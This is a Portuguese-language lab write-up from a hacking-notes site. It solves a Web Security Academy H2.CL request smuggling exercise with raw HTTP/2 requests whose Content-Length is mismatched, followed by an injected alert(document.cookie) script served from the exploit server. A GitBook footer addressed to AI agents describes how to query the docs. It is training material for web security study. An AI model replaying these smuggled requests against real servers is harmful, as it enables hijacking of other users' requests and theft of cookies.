> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/h2-cl-request-smuggling.md).

# Smuggling de requisições H2.CL

### Contrabando de requisições H2.CL

Este laboratório é vulnerável a **contrabando de requisições** porque o servidor de front-end faz downgrade de **HTTP/2** requisições mesmo quando elas têm um comprimento ambíguo.

O objetivo é realizar um ataque que permita que o navegador da vítima carregue e execute um **arquivo JavaScript de malware** hospedado no servidor de exploração, contendo:

```javascript
alert(document.cookie)
```

O usuário vítima visita a página inicial a cada **10 segundos**.

#### **Alternando um 404 via Contrabando**

É necessária uma incoerência de comprimento para causar um **404 Não Encontrado**:

```http
POST / HTTP/2
Host: 0a8c00880499cdd181ae9d4900ed000f.web-security-academy.net
Content-Length: 14

test=testing
GET /error/ HTTP/1.1
Host: 0a8c00880499cdd181ae9d4900ed000f.web-security-academy.net
Content-Length: 11

test=test
```

#### **Análise do Comportamento da Aplicação**

A página carrega automaticamente um script:

`resources/js/analytics.js?uid=3309545055`

<figure><img src="/files/1d8ffe7c31e5b91eff4823ffcf0420d57a9e977e" alt=""><figcaption></figcaption></figure>

Este script gera um identificador aleatório e envia uma consulta para:

```javascript
/analytics?id=<valor aleatório>
```

<figure><img src="/files/b3466a05742789a9a93757834d81a727d39c0845" alt=""><figcaption></figcaption></figure>

Trecho da função:

```javascript
function randomString(length, chars) {
    var result = '';
    for (var i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];
    return result;
}
var id = randomString(16, '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ');
fetch('/analytics?id=' + id)
```

#### **Observação dos Caminhos Aceitos**

Uma consulta contrabandeada para:

```http
GET /resources HTTP/1.1
Host: test.com
Content-Length: 11

test=test
```

<figure><img src="/files/4b2e73ac2d43651b4b3edac191c18444667adb26" alt=""><figcaption></figcaption></figure>

é aceita.

Por outro lado, outros caminhos não são.

<figure><img src="/files/70ba5675ac9a12c583a77cf8405a452b99633d7e" alt=""><figcaption></figcaption></figure>

#### **Injeção de Script Malicioso**

Colocamos nossa carga útil no arquivo fornecido pelo servidor de exploração:

* nome do arquivo: **resources**
* conteúdo do corpo:

```javascript
<script>alert(document.cookie)</script>
```

<figure><img src="/files/70f874ff97d57b0a67be4fe07598d09d94747afb" alt=""><figcaption></figcaption></figure>

A vítima é redirecionada para este arquivo, e o navegador executa o alerta, confirmando a exploração.

<figure><img src="/files/348c19bb23dd2167cefa9ff125ae7cadbdd37493" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/h2-cl-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
